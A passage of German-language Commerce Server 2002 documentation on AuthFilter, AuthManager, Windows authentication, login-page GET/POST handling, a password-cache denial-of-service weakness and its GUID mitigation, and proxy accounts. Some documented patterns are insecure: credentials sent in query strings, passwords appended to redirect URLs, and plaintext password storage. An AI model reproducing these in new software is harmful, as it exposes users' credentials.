<H3 ID=L_UserName_HTMLText>Username:<INPUT TYPE="text" NAME="txtUsername" SIZE=32 MAXLENGTH=32><br><ID ID=L_UserPassword_HTMLText>
Password :</ID><INPUT TYPE="password" NAME="txtPassword" SIZE=32 MAXLENGTH=32></H3><br>
<br>

<INPUT type=HIDDEN name="realSubmit" value="fromButton">
<p align="left">
   <input type="submit" name="action" id=L_Submit_Button value="Submit">
   <input type="reset" name="action" id=L_Reset_Button value="Reset">
</p>
</FORM>

<H2>
<br>
<br>
<A HRef="register.asp" ID=L_RegisterIf_HTMLText>Register if you are a new user (need to add this registration file)</A>
<br>
</H2>

</BODY>
</HTML>
<%end sub%>

Siehe auch

Aktivieren von AuthFilter für die Supplier-Lösungssite


Verwenden von AuthFilter in einer .NET-Site

Wenn Sie eine Site mithilfe von Visual Studio .NET entwickeln und AuthFilter aktiviert ist, führt AuthFilter eine Umleitung durch, sobald Visual Studio .NET versucht eine Verbindung zu dieser Site herzustellen. Visual Studio .NET kann das Projekt nicht öffnen.

Sie müssen AuthFilter deaktivieren und IIS erneut starten. Beim Deaktivieren von AuthFilter wird der Filter erst nach dem Neustart aus dem IIS-Prozessbereich entfernt. Das Deaktivieren entfernt lediglich den Eintrag für AuthFilter aus der Metabasis.

Siehe auch

Deaktivieren von AuthFilter

Neustarten von IIS und Commerce Server-Diensten


Deaktivieren von AuthFilter

Wenn AuthFilter in Ihrer Site nicht auf Siteebene angewendet werden soll, führen Sie die folgenden Schritte durch:

  • Wählen Sie auf der Registerkarte Allgemeine Eigenschaften einer Anwendung im Abschnitt Commerce-Authentifizierungsfilter den Modus Kein Filter.
  • Entfernen Sie die AutoCookie-Generierung für die Site.

Wenn Sie Kein Filter auswählen, wird AuthFilter nicht für die Website verwendet. AuthFilter liegt jedoch weiterhin in IIS vor, weil möglicherweise andere Sites den Filter verwenden. Sie können den Filter mit dem Internetdienste-Manager vollständig entfernen.

Wenn Sie Kein Filter auswählen, die Autocookie-Generierung jedoch noch aktiviert ist, wird AuthFilter weiterhin für die Site verwendet.

Im Modus "Kein Filter" kann der Siteentwickler die Authentifizierung für einzelne Active Server Pages (ASP) über Aufrufe von Methoden des AuthManager-Objekt realisieren. AuthManager ist ein Component Object Model (COM)-Objekt, das Methoden zur Benutzeridentifizierung und zur Zugriffssteuerung auf dynamisch erstellte Inhalte bereitstellt. Beispiel: Siteentwickler können die GetUserID-Methode des AuthManager-Objekts aufrufen, um einen Benutzer auf der Grundlage eines Cookies oder einer Abfragezeichenfolge zu identifizieren.

Die Lösungssites für Commerce Server 2002 befinden sich standardmäßig im Modus "Kein Filter"; in ihnen ist ein Authentifizierungsschema auf der Grundlage von AuthManager implementiert. Wenn Sites die Dienste von AuthFilter nutzen sollen, müssen Sie die Seite Login.asp und andere unterstützende Seiten der Site modifizieren. Weitere Informationen finden Sie unter Aktivieren von AuthFilter für die Retail-Lösungssite und Aktivieren von AuthFilter für die Supplier-Lösungssite.

So deaktivieren Sie AuthFilter

  1. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und klicken Sie dann auf die Site, die Sie verwalten möchten.
  2. Erweitern Sie Anwendungen, klicken Sie mit der rechten Maustaste auf die zu konfigurierende Anwendung, und klicken Sie anschließend auf Eigenschaften.
  3. Wählen Sie im Dialogfeld Eigenschaften auf der Registerkarte Allgemein im Feld Authentifizierungsfilter die Option Kein Filter.
  4. Deaktivieren Sie ggf. das Kontrollkästchen Autocookie, und klicken Sie anschließend auf OK.

Hinweise

  • Nachdem Sie einen Eigenschaftswert im Commerce Server-Manager geändert haben, müssen Sie Internetinformationsdienste (IIS) 5.0 neu starten, damit die Änderungen wirksam werden. Dies gilt auch, wenn Sie den ISAPI-Filter aus dem Speicher entfernen, da hierdurch lediglich die Filtereinstellungen aus der IIS-Metabasis entfernt werden. Anweisungen dazu finden Sie unter Neustarten von IIS und Commerce Server-Diensten.
  • Wenn Sie AuthFilter für eine Site deaktivieren, indem Sie den Modus "Kein Filter" auswählen, müssen Sie die für die Site benötigten Sicherheitskonfiguration manuell vornehmen. Verwenden Sie zum Konfigurieren der Sicherheitseinstellungen IIS, nehmen Sie die gewünschten Einstellungen für die Site vor, und starten Sie IIS dann neu.

Siehe auch

Neustarten von IIS und Commerce Server-Diensten

Aktivieren von AuthFilter für die Retail-Lösungssite

Aktivieren von AuthFilter für die Supplier-Lösungssite


AuthManager

Das AuthManager-Objekt ist ein Component Object Model (COM)-Objekt (), das Methoden zur Benutzeridentifizierung und zur Zugriffssteuerung auf dynamisch erstellte Inhalte bereitstellt. Mit den Methoden und Eigenschaften dieses Objekts werden die Inhalte von Cookies und codierten URL-Zeichenfolgen festgelegt, und sie dienen zum Zugreifen auf diese Inhalte.

Die folgende Abbildung veranschaulicht die Funktionsweise von AuthManager.

Funktionsweise von AuthManager.

Das AuthManager-Objekt stellt eine transparente Schnittstelle für den Zugriff auf Tickets bereit, egal ob diese in Cookies oder URL-Anforderungszeichenfolgen gespeichert sind, und übernimmt deren Ver- und Entschlüsselung.

Das AuthManager-Objekt kann nur auf Active Server Pages (ASP) verwendet werden, da Abhängigkeiten zu ASP-internen Objekten bestehen.

Hinweis

  • Außerhalb des ASP-Skripts können Sie die AuthManager-Methoden GetUserIDFromCookie und
    GetUserIDFromCookieAndKey verwenden.

Mithilfe der Methoden des AuthManager-Objekts können Tickets in einem Cookie (sofern diese auf dem Client aktiviert sind) oder in einer codierten URL-Zeichenfolge abgelegt werden. Wenn das AuthManager-Objekt mit dem AuthFilter-ISAPI-Filter verwendet wird, müssen Cookies aktiviert werden.

Siehe auch

Authentifizierungsfeatures


Windows-Authentifizierungsmodus

Im Windows-Authentifizierungsmodus erfolgt die Überprüfung von Benutzern durch Setzen eines Sitzungscookies, das ein MSCSAuth-Ticket enthält. Das Cookie enthält kein Ablaufdatum und wird nach Ablauf der Sitzung gelöscht. Ein MSCSAuth-Ticket enthält eine Benutzer-ID, den Zeitpunkt der letzten Anmeldung sowie ein Zeitfenster für die Gültigkeitsdauer des Tickets nach der letzten Anmeldung. Ein überprüfter Benutzer hat nicht automatisch Zugriff auf einen angeforderten URL. Die Anmeldeinformationen werden nach der Überprüfung mit den Zugriffsrechten des URLs verglichen, die über Zugriffssteuerlisten (ACLs) verwaltet werden.

Die folgende Abbildung veranschaulicht die Funktionsweise der Windows-Authentifizierung.

Eine Abbildung zur Verdeutlichung der Funktionsweise der Windows-Authentifizierung mit Proxykonten finden Sie unter Proxykonten.

Hinweise

  • Im Windows-Authentifizierungsmodus ist die Sicherheit der Site automatisch auf IIS-Standardauthentifizierung gesetzt. Ändern Sie diese Einstellungen nicht, weil AuthFilter sonst nicht mehr von IIS über Ereignisse benachrichtigt wird.
  • Nach dem Entpacken einer Lösungssite zur Verwendung mit Commerce Server 2002 sind die Dateien im Ordner <Sitename>\AuthFiles für den anonymen Zugriff freigegeben. Wenn diese Dateien nicht verwendet werden, sollten sie gelöscht werden. Weitere Informationen zu den Lösungssites finden Sie unter Commerce Server Solution Sites (englisches Thema).

Dieser Abschnitt beinhaltet folgende Themen:

  • Verarbeitung von Benutzeranfragen im Windows-Authentifizierungsmodus
  • Anmeldeseite: GET-Methode und POST-Methode
  • Klartextkennwörter
  • Aktivieren der Windows-Authentifizierung
  • AuthFilter und DDoS-Angriffe
  • Proxykonten


Verarbeitung von Benutzeranforderungen im Windows-Authentifizierungsmodus

Im Windows-Authentifizierungsmodus kann das Anfordern eines URLs durch einen Benutzer zu einer Reihe von möglichen Ergebnissen führen. IIS (Internetinformationsdienste) entdeckt die vom Browser übermittelte Anforderung und benachrichtigt AuthFilter über das Ereignis SF_NOTIFY_PREPROC_HEADERS. Anschließend übernimmt AuthFilter die Verarbeitung der Anfrage und führt die folgenden Aktionen aus:

  1. Der lokale Sitekonfigurationscache wird auf Eigenschaften für die Sitekonfiguration überprüft. Falls dort keine Eigenschaften vorhanden sind, werden die Daten mithilfe des SiteConfig-Objekts aus der Verwaltungsdatenbank abgerufen und im lokalen Sitekonfigurationscache gespeichert.
  2. Der URL wird auf Richtigkeit überprüft. Hierbei wird die Groß/Kleinschreibung der virtuellen Stammverzeichnisse von IIS automatisch korrigiert.
  3. Es wird überprüft, ob der Browser Sitzungscookies unterstützt.

Abhängig davon, ob auf dem Browser die Cookieunterstützung aktiviert oder deaktiviert ist, sind nun drei verschiedene Aktionen möglich. AuthFilter leitet den Benutzer entweder auf eine Supportseite oder eine Anmeldeseite um oder übermittelt den angeforderten URL.

Fall 1: Umleitung auf eine Supportseite

Fall 2: Übermitteln des angeforderten URLs

Fall 3: Umleitung auf eine Anmeldeseite

Fall 1: Umleitung auf eine Supportseite

In diesem Fall ist die Cookieunterstützung deaktiviert. Wenn AuthFilter feststellt, dass Sitzungscookies deaktiviert sind, wird der Benutzer auf eine Supportseite umgeleitet. Hier wird der Benutzer darüber informiert, dass Cookies erforderlich sind, und aufgefordert, die Anforderung nach dem Aktivieren der Cookies erneut zu übermitteln.

Hierzu führt AuthFilter die folgenden Aktionen im Hintergrund aus, nachdem der Filter von IIS über das Ereignis SF_NOTIFY_PREPROC_HEADERS benachrichtigt wurde:

  1. Der lokale Sitecache wird auf Eigenschaften für die Sitekonfiguration überprüft. Falls dort keine Eigenschaften vorhanden sind, werden die Daten mithilfe des SiteConfig-Objekts aus der Verwaltungsdatenbank abgerufen.
  2. AuthFilter prüft, ob der Browser Sitzungscookies unterstützt. Wenn keine Sitzungscookies unterstützt werden, wird der Benutzer auf die ASP-Seite umgeleitet, die in der Eigenschaft Formular ''Keine Cookies'' der Benutzeroberflächeneigenschaft von Commerce Server-Manager in der CS-Authentifizierungsressource angegeben ist. Normalerweise wird der Benutzer auf dieser Seite darüber informiert, dass Cookies erforderlich sind, und aufgefordert, die Anforderung nach dem Aktivieren der Cookies erneut zu übermitteln. Zu diesem Zweck steht eine Standard-ASP-Seite namens Nocookie.asp zur Verfügung. Diese Datei befindet sich im Ordner AuthFiles im Installationsverzeichnis von Commerce Server.

Fall 2: Übermitteln des angeforderten URLs

In diesem Fall ist die Cookieunterstützung aktiviert. Der angeforderte URL wird an den Benutzer in einem der folgenden Szenarien übermittelt:

  • Die Anforderung enthält ein gültiges MSCSAuth-Ticket, und der Benutzer besitzt Zugriffsrechte für den angeforderten URL.
  • Der URL enthält kein MSCSAuth-Ticket, aber auf den angeforderten URL darf anonym zugegriffen werden.

Hierzu führt AuthFilter die folgenden Aktionen im Hintergrund aus, nachdem der Filter von IIS über das Ereignis SF_NOTIFY_PREPROC_HEADERS benachrichtigt wurde:

  1. Der lokale Sitecache wird auf Eigenschaften für die Sitekonfiguration überprüft. Falls dort keine Eigenschaften vorhanden sind, werden die Daten mithilfe des SiteConfig-Objekts aus der Verwaltungsdatenbank abgerufen.
  2. Es wird ein Cookie gesetzt, dessen MSCSFirstRequestedURL-Eigenschaft auf den ursprünglich angeforderten URL gesetzt ist.
  3. Wenn die Anforderung kein MSCSAuth-Ticket enthält, wird sie auf die Seite Login.asp umgeleitet.
  4. Wenn auf den angeforderten URL anonym zugegriffen werden darf, wird er zurückgegeben.
  5. Wenn das Cookie ein MSCSAuth-Ticket enthält, sucht AuthFilter im lokalen Kennwortcache nach einem Eintrag, der mit der im Cookie enthaltenen Benutzer-ID übereinstimmt.
  6. Nachdem ein übereinstimmender Eintrag gefunden wird, vergleicht AuthFilter die aktuelle Zeit mit dem Zeitpunkt der letzten Anmeldung auf dem Ticket, um zu ermitteln, ob das auf dem Ticket angegebene Zeitfenster noch gültig ist. Wenn die aktuelle Zeit innerhalb von fünf Minuten des Zeitpunkts der letzten Anmeldung plus dem Zeitfenster liegt, wird die im Ticket angegebenen Zeit der letzten Anmeldung auf die aktuelle Zeit gesetzt, sodass ein aktive Benutzer weiterhin browsen kann.
  7. Da die aktuelle Zeit innerhalb des Zeitfensters liegt, wird das Ticket als gültig betrachtet. Die Benutzer-ID und das Kennwort werden für den Zugriff auf den angeforderten URL an IIS übergeben.
  8. Da der Benutzer über Zugriffsrechte für den angeforderten URL verfügt, gibt IIS die Seite zurück.

Fall 3: Umleitung auf eine Anmeldeseite

In diesem Fall ist die Cookieunterstützung aktiviert. In den folgenden Szenarien leitet AuthFilter den Benutzer auf eine Anmeldeseite um:

  • Der URL enthält kein MSCSAuth-Ticket, und auf den angeforderten URL darf nicht anonym zugegriffen werden.
  • Die Anforderung enthält ein ungültiges MSCSAuth-Ticket.
  • Die Anforderung enthält ein gültiges MSCSAuth-Ticket, der Benutzer besitzt jedoch keine Zugriffsrechte für den angeforderten URL. Die ASP-Seite, auf die der Benutzer umgeleitet werden soll, wird in der Eigenschaft Anmeldeformular der CS-Authentifizierungsressource angegeben.
  • Die Anforderung enthält ein gültiges MSCSAuth-Ticket, die Anmeldeinformationen des Benutzer liegen jedoch nicht im Kennwortcache von AuthFilter vor (die Anforderung wird in einer Webfarm an einen anderen Webserver übermittelt).

Hierzu führt AuthFilter die folgenden Aktionen im Hintergrund aus, nachdem der Filter von IIS über das Ereignis SF_NOTIFY_PREPROC_HEADERS benachrichtigt wurde:

  1. Der lokale Sitecache wird auf Eigenschaften für die Sitekonfiguration überprüft. Falls dort keine Eigenschaften vorhanden sind, werden die Daten mithilfe des SiteConfig-Objekts aus der Verwaltungsdatenbank abgerufen.
  2. Es wird ein Cookie übermittelt, dessen MSCSFirstRequestedURL-Eigenschaft auf den ursprünglich angeforderten URL gesetzt ist.
  3. Wenn die Anforderung kein MSCSAuth-Ticket enthält, wird sie auf die Seite Login.asp umgeleitet.
  4. Wenn auf den angeforderten URL nicht anonym zugegriffen werden darf, benachrichtigt IIS AuthFilter über das Ereignis SF_NOTIFY_ACCESS_DENIED. Der Besucher wird dann auf eine Anmeldeseite oder eine Fehlerseite umgeleitet.
  5. Wenn das Cookie ein MSCSAuth-Ticket enthält, sucht AuthFilter im Kennwortcache nach einem Eintrag, der mit der im Cookie enthaltenen Benutzer-ID übereinstimmt.
  6. Falls kein übereinstimmender Eintrag vorhanden ist, wird der Benutzer auf die Anmeldeseite umgeleitet.
  7. Wenn ein übereinstimmender Eintrag gefunden wird, vergleicht AuthFilter die aktuelle Zeit mit dem Zeitpunkt der Anmeldung, um zu ermitteln, ob das auf dem Ticket angegebene Zeitfenster noch gültig ist.
  8. Falls die aktuelle Zeit außerhalb des im Ticket angegebenen Zeitfensters liegt, wird der Benutzer auf die Anmeldeseite umgeleitet.
  9. Wenn die aktuelle Zeit innerhalb des Zeitfensters liegt, wird das Ticket als gültig betrachtet. Die Benutzer-ID und das Kennwort werden für den Zugriff auf den angeforderten URL an IIS übergeben.
  10. Falls der Benutzer nicht über Zugriffsrechte für den angeforderten URL verfügt, gibt IIS die Benachrichtigung SF_NOTIFY_ACCESS_DENIED aus. AuthFilter leitet den Benutzer dann auf die Anmeldeseite um.

Informationen über die Ereignisse auf der Anmeldeseite finden Sie unter Anmeldeseite: GET-Methode und POST-Methode.

Siehe auch

Aktivieren der Windows-Authentifizierung

Verarbeitung von Benutzeranforderungen im benutzerdefinierten Authentifizierungsmodus

Verarbeitung von Benutzeranforderungen im Autocookiemodus


Anmeldeseite: GET-Methode und POST-Methode

Der Siteentwickler muss eine Anmeldeseite (Login.asp) erstellen, auf der Benutzer ihre Anmeldeinformationen eingeben können. Sie geben diese Anmeldeseite in der Eigenschaft Anmeldeformular der CS-Authentifizierungsressource an. Eine Beispielsdatei für Login.asp finden Sie im Ordner \Microsoft Commerce Server 2002\AuthFiles.

Wenn der Benutzer die Anmeldeseite anfordert und es sich bei der Anforderung nicht um eine Formularübergabe handelt, wird die Seite an den Benutzer übermittelt. Auf die Anmeldeseite muss anonym zugegriffen werden können, da der Benutzer zu diesem Zeitpunkt noch nicht authentifiziert ist. Auf der Anmeldeseite ist eine Verknüpfung zu einer Registrierungsseite für neue Benutzer vorhanden. Der Benutzer übergibt das Anmeldeformular mit der Benutzer-ID und dem Kennwort. Wenn eine der Anmeldeinformationen fehlt, wird der Benutzer zurück auf die Anmeldeseite umgeleitet. AuthFilter führt unterschiedliche Aktionen aus, abhängig davon, ob die Übergabe mit der GET-Methode oder der POST-Methode ausgeführt wurde.

Setzen Sie keine persistenten Cookies auf der Anmeldeseite, da dies die Leistung beeinträchtigen könnte.

GET-Methode

POST-Methode

GET-Methode

Bei Verwendung der GET-Methode wird die übermittelte Benutzer-ID und das Kennwort in den HTTP-Header geschrieben und stehen AuthFilter nach Empfang des Ereignisses SF_NOTIFY_PREPROC_HEADERS zur Verfügung. Dies geschieht, bevor die Anforderung von der Anmeldeseite verarbeitet wird.

Die folgenden Schritte werden durchgeführt:

  1. AuthFilter liest die übermittelte Benutzer-ID und das Kennwort aus den QueryString-Auflistungseigenschaften txtUserName und txtPassword aus.
  2. AuthFilter prüft, ob im Kennwortcache ein mit der Benutzer-ID übereinstimmender Eintrag vorhanden ist.
  3. Wenn ein Eintrag vorhanden ist, wird das Kennwort durch das übermittelte Kennwort ersetzt.
  4. Wenn kein Eintrag vorhanden ist, wird auf Grundlage der übermittelten Benutzer-ID und des Kennworts ein neuer Eintrag erstellt.
  5. AuthFilter übergibt die Verarbeitung wieder an die Anmeldeseite.
  6. Auf der Anmeldeseite wird die Benutzer-ID und das Kennwort aus den txtUserName- und txtPassword-Eigenschaften der QueryString-Sammlung des Request-Objekts ausgelesen.
  7. Anhand der übermittelten Benutzer-ID wird das Profil des Benutzers aus der Commerce Server-Profilressource oder einem anderen Profilspeicher abgerufen.
  8. Wenn kein Profil für den Benutzer vorliegt, wird der Benutzer auf die Registrierungsseite umgeleitet.
  9. Falls ein Profil für den Benutzer vorliegt, das übermittelte Kennwort jedoch nicht mit Kennwort übereinstimmt, das dem Profil zugeordnet ist, wird der Benutzer auf die Anmeldeseite umgeleitet.
  10. Wenn die Kennwörter übereinstimmen, wird das MSCSAuth-Ticket mithilfe des AuthManager-Objekts in einem Sitzungscookie für den Benutzer abgelegt.
  11. Der Benutzer wird auf den ursprünglichen URL umgeleitet. Dieser wurde zuvor von AuthFilter in der MSCSFirstRequestedURL-Eigenschaft eines separaten Sitzungscookies gespeichert.
  12. Nachdem der Browser die Anforderung erneut übergibt, prüft AuthFilter, dass das Ticket gültig ist, und übergibt die Weiterverarbeitung an IIS.
  13. Wenn der Benutzer über Zugriffsrechte für den URL verfügt, wird dieser von IIS zurückgegeben.

POST-Methode

Bei Verwendung der POST-Methode werden die übermittelte Benutzer-ID und das Kennwort in den HTTP-Textkörper geschrieben und stehen AuthFilter erst nach Verarbeitung der Anforderung durch die Anmeldeseite zur Verfügung. Hierzu ist ein zusätzlicher Schritt erforderlich, der zur Verarbeitung einer Anforderung, die die GET-Methode verwendet, nicht benötigt wird. In diesem Schritt werden die Benutzer-ID und das Kennwort an die URL-Anforderungszeichenfolge angefügt. Ein Codebeispiel zu diesen Schritten finden Sie unter Code to Retrieve Login Credentials Using the Post Method and Set an MSCSAuth Ticket (englisches Thema).

Die folgenden Schritte werden durchgeführt:

  1. Zunächst stehen die übergebene Benutzer-ID und das Kennwort AuthFilter nicht zur Verfügung. Die Verarbeitung wird umgehend an die Anmeldeseite zurückgegeben.
  2. Auf der Anmeldeseite wird die Benutzer-ID und das Kennwort aus den txtUserName- und txtPassword-Eigenschaften der Form-Sammlung des Request-Objekts ausgelesen.
  3. Anhand der übermittelten Benutzer-ID wird das Profil des Benutzers aus der Commerce Server-Profilressource oder einem anderen Profilspeicher abgerufen.
  4. Wenn kein Profil für den Benutzer vorliegt, wird der Benutzer auf die Registrierungsseite umgeleitet.
  5. Falls ein Profil für den Benutzer vorliegt, das übermittelte Kennwort jedoch nicht mit Kennwort übereinstimmt, das dem Profil zugeordnet ist, wird der Benutzer auf die Anmeldeseite umgeleitet.
  6. Wenn die Kennwörter übereinstimmen, wird das MSCSAuth-Ticket mithilfe des AuthManager-Objekts in einem Sitzungscookie für den Benutzer abgelegt.
  7. Die Benutzer-ID und das Kennwort werden mithilfe der proxyuser- und proxypwd-Eigenschaften an die ursprüngliche URL-Anforderungszeichenfolge angefügt. Diese wurde zuvor von AuthFilter in der MSCSFirstRequestedURL-Eigenschaft eines separaten Sizungscookies gespeichert. Die Anforderungszeichenfolge kann folgendermaßen aussehen:
       "<MSCSFirstRequestedURL>&proxyuser=UserID&proxypwd=Password"
  8. Der Benutzer wird auf den ursprünglichen URL umgeleitet.
  9. IIS benachrichtigt AuthFilter durch das Ereignis SF_NOTIFY_SEND_RESPONSE, dass eine Umleitung zurückgegeben wird.
  10. AuthFilter entfernt die Benutzer-ID und das Kennwort aus der URL-Anforderungszeichenfolge. Die Anmeldeinformationen werden nicht an den Browser übermittelt.
  11. AuthFilter durchsucht den Kennwortcache nach der Benutzer-ID. Wenn dieses gefunden wird, wird das Kennwort aktualisiert.
  12. Falls die Benutzer-ID nicht gefunden wird, wird auf Grundlage der übermittelten Benutzer-ID und des Kennworts ein neuer Eintrag erstellt.
  13. Nachdem der Browser die Anforderung erneut übergibt, prüft AuthFilter, dass das Ticket gültig ist, und übergibt die Weiterverarbeitung an IIS.
  14. Wenn der Benutzer über Zugriffsrechte für den angeforderten URL verfügt, wird dieser von IIS zurückgegeben.

Siehe auch

BizDeskSecurity Object (englisches Thema)

Verarbeitung von Benutzeranfragen im Windows-Authentifizierungsmodus

Code to Retrieve Login Credentials Using the Post Method and Set an MSCSAuth Ticket (englisches Thema)


Klartextkennwörter

Benutzerkennwörter werden in Active Directory verschlüsselt gespeichert. Wenn Sie auf diese Kennwörter im Klartext zugreifen möchten und Kennwörter anfänglich auf der Anmeldeseite ausgelesen werden, stehen die beiden folgenden Optionen zur Verfügung:

  1. Erweitern Sie das Profilschema, indem Sie eine neue Eigenschaft zum Speichern des Klartextkennworts hinzufügen. Sie müssen das Schema mit dem Modul "Profildefinitions-Designer" in Commerce Server Business Desk erweitern. Informationen zu diesem Verfahren finden Sie unter Hinzufügen von Eigenschaften zu einer Profildefinition.
  2. Erstellen Sie einen benutzerdefinierten Cache, in dem das Klartextkennwort gespeichert wird.

Hinweis

  • Profileigenschaften können mithilfe des Profildienstes verschlüsselt werden. Weitere Informationen finden Sie unter Verwalten von verschlüsselten Profileigenschaften.


Aktivieren der Windows-Authentifizierung

Im Windows-Authentifizierungsmodus verwendet AuthFilter Active Directory, um die Zugriffsrechte von Benutzern zu überprüfen. Wenn sich ein Benutzer bei einer Site in diesem Authentifizierungsmodus anmeldet, liest AuthFilter den Benutzernamen und das Kennwort aus der HTTP-Anforderung (Hypertext Transfer Protocol) und speichert diese in einem Cache. Im Windows-Authentifizierungsmodus wird der Zugriff auf sämtliche Ressourcen einer Website über Zugriffssteuerlisten (ACLs) verwaltet.

Die Windows-Authentifizierung unterstützt Webfarms mit Einzelanmeldung sowie die Verwendung von Proxykonten.

Hinweis

  • Für die folgenden Anweisungen wird vorausgesetzt, dass der Sicherheitsmodus auf dem Domänencontroller auf die lokale Anmeldung eingestellt ist. Wenn Sie dies noch nicht getan haben, finden Sie Informationen dazu unter Einstellen des Sicherheitsmodus auf dem Domänencontroller.

So aktivieren Sie den Windows-Authentifizierungsmodus

  1. Erweitern Sie erst Commerce Server-Manager, dann Commerce-Sites, und klicken Sie dann auf die Site, die Sie verwalten möchten.
  2. Erweitern Sie Anwendungen, klicken Sie mit der rechten Maustaste auf den Namen der Anwendung, mit der Sie arbeiten möchten, und klicken Sie dann auf Eigenschaften.
  3. Wählen Sie im Dialogfeld Eigenschaften auf der Registerkarte Allgemein im Feld Authentifizierungsfilter die Option Windows-Authentifizierung. Klicken Sie anschließend auf OK.

AuthFilter gibt die Anmeldeinformationen an Internetinformationsdienste (IIS) 5.0 weiter, wo sie anhand eines Active Directory-Datenspeichers validiert werden.

Hinweis

  • Nachdem Sie einen Eigenschaftswert im Commerce Server-Manager geändert haben, müssen Sie die Anwendungen aus den Speichern aller Webserver entfernen, damit die Änderungen wirksam werden. Anweisungen finden Sie unter Entfernen einer Anwendung aus dem Speicher.

Siehe auch

Aktivieren der benutzerdefinierten Authentifizierung

Aktivieren des Autocookiemodus

Aktivieren der Cookiefreigabe über Domänen hinweg

Aktivieren der Cookiefreigabe über Anwendungen hinweg

BizDeskSecurity Object (englisches Thema)

AuthManager Object (englisches Thema)


AuthFilter und DDoS-Angriffe

Ein DDos-Angriff (Distributed Denial-of-Service) stellt den Versuch dar, den Zugriff auf einen Server zu stören. AuthFilter weist eine Anfälligkeit auf, die einen registrierten Benutzer zwingen könnte, sich auf jeder Webseite neu zu authentifizieren. Dies wird durch einen böswilliger Benutzer verursacht, der sich mit einer richtigen Benutzer-ID und einem falschen Kennwort wiederholt an Ihrer Site anmeldet.

Bei der Anmeldung legt AuthFilter das auf der Anmeldeseite angegebene Kennwort im Kennwortcache ab. In der Standardeinstellung ordnet AuthFilter das Kennwort im AuthFilter-Kennwortcache der Benutzer-ID des Benutzers zu, der die Anmeldeinformationen übergeben hat.

AuthFilter ordnet jedoch nicht jedes Kennwort im AuthFilter-Kennwortcache lediglich einer Clientsitzung zu. Wenn sich ein Benutzer mit einer gültigen Benutzer-ID anmeldet, wird das zugehörige Kennwort im Kennwortcache durch das bei der Anmeldung angegebene Kennwort ersetzt, selbst wenn dieses ungültig ist. Durch diese DDoS-Technik wird der Dienst gestört, da der authentifizierte Benutzer sich erneut authentifizieren muss, wenn er auf eine neue Webseite umgeleitet wird.

Der in böswilliger Absicht handelnde Benutzer erhält keinen Zugriff auf die Site, zwingt jedoch den registrierten Benutzer, sich innerhalb einer aktiven Sitzung erneut anzumelden. Dies ist deshalb notwendig, weil das Kennwort im Kennwortcache von AuthFilter für den registrierten Benutzer nicht mehr gültig ist.

Um diese Art von Angriffen zu vermeiden, kann zusätzlich zu Benutzer-ID und Kennwort eine benutzerdefinierte Eigenschaft im Kennwortcache von AuthFilter gespeichert werden. Diese benutzerdefinierte Eigenschaft besteht in der Regel aus einer GUID (Globally Unique Identifier,global eindeutiger Bezeichner), anhand dessen zwischen verschiedenen Clientsitzungen mit identischen Benutzer-IDs, aber möglicherweise unterschiedlichen Kennwörtern unterschieden wird.

Voller Kennwortcache

Wenn der AuthFilter-Kennwortcache mit Kennwörtern von legitimen Benutzer-IDs gefüllt ist, werden alle eingehenden neuen Authentifizierungen auf die Anmeldeseite umgeleitet.

Wenn die maximale Speicherkapazität des Caches erreicht wird, werden Sie über eine ins Ereignisprotokoll geschriebene Nachricht aufgefordert, die Cachegröße zu erhöhen.

Wenn Sie die Cachegröße nicht sofort erhöhen, können sich keine Benutzer mehr anmelden.

Hinweis

  • Informationen zum Implementieren einer GUID auf der Seite Login.asp finden Sie unter Konfigurieren von "Login.asp", sodass eine GUID verwendet wird.

Ein Beispiel für die Seite Login.asp, die gegen DDoS-Angriffe geschützt wurde, finden Sie unter "Login.asp"-Code für die Supplier-Lösungssite.

Siehe auch

"Login.asp"-Code für die Supplier-Lösungssite

BizDeskSecurity Object (englisches Thema)

AuthManager Object (englisches Thema)

Code to Set a Custom Property on a Ticket (englisches Thema)

Verwenden von Proxykonten in einer Webfarm

Hinzufügen einer neuen Eigenschaft zu einer Profildefinition


Proxykonten

Proxykonten sind rollenbasierte Windows-Konten, die anstelle von einzelnen authentifizierten Benutzerkonten verwendet werden. Proxykonten ermöglichen die Implementierung der rollenbasierten Sicherheit auf Ihrer Site.

Angenommen, auf Ihrer Site sollen die folgenden Rollen zur Verfügung stehen: Käufer, Verkäufer, Manager und Administratoren. Sie erstellen für jede dieser Rollen ein Windows-Konto in Active Directory. Sie speichern einzelne Benutzerkonten in einer Datenbank, z. B. SQL Server, anhand derer die Authentifizierung der Benutzer stattfindet. Die Benutzer melden sich mithilfe ihrer eindeutigen Anmeldeinformationen an Ihrer Site an. Nach der Authentifizierung auf der Grundlage der Datenbank und Ermitteln ihrer "Rolle" greifen die Benutzer über die Anmeldeinformationen des Proxykontos (aus Active Directory) für die jeweilige Rolle auf Ihre Site zu.

Die in diesem Szenario in Active Directory gespeicherten Windows-Konten werden als Proxykonten (Proxy (engl.) = Stellvertreter) bezeichnet, weil anstelle der (in SQL Server gespeicherten) Benutzerkonten, die zur Authentifizierung der Benutzer verwendet wurden, mit diesen Konten auf die Site zugegriffen wird.

Die Seite Login.asp muss durch Code erweitert werden, in dem die Benutzerkonten (aus einer Datenbank wie SQL Server) den Proxykonten (in Active Directory) zugeordnet werden.

Dieser Abschnitt beinhaltet folgende Themen:

  • Vor- und Nachteile von Proxykonten
  • Erteilen von Zugriffsrechten für Benutzer mithilfe von Proxykonten
  • Aktivieren von Proxykonten
  • Zulassen, dass Benutzer Proxykonten wechseln
  • Verwenden von Proxykonten in einer Webfarm
  • Code für die Implementierung von Proxykonten
  • Code für die Implementierung von Proxykonten in einer Webfarm


Vor- und Nachteile von Proxykonten

Die Unterstützung von Proxykonten ermöglicht eine große Zahl von Benutzerkonten in einer SQL Server-Datenbank (diese skaliert weitaus besser als Active Directory), die einer kleineren Anzahl von Windows-Konten in Active Directory zugeordnet werden können, wobei weiterhin Windows-Sicherheit über ACLs möglich ist.

Der Einsatz von Proxykonten verringert den Verwaltungsaufwand für die Konfiguration von ACLs, weil für den Zugriff auf Ihre Site nicht so viele Windows-Konten benötigt werden. Proxykonten verbessern darüber hinaus die Leistung Ihrer Site, weil SQL Server weitaus schneller ist als Active Directory. Proxykonten sind jedoch weniger sicher als in Active Directory geführte Benutzerkonten.

Der Einsatz von Proxykonten kann sinnvoll sein, wenn Ihre Site eine umfangreiche Benutzerbasis hat, die nicht in Active Directory gespeichert werden soll, Sie die Ressourcen Ihrer Site jedoch über die Windows-Authentifizierung mittels Zugriffssteuerlisten (ACLs) schützen möchten.

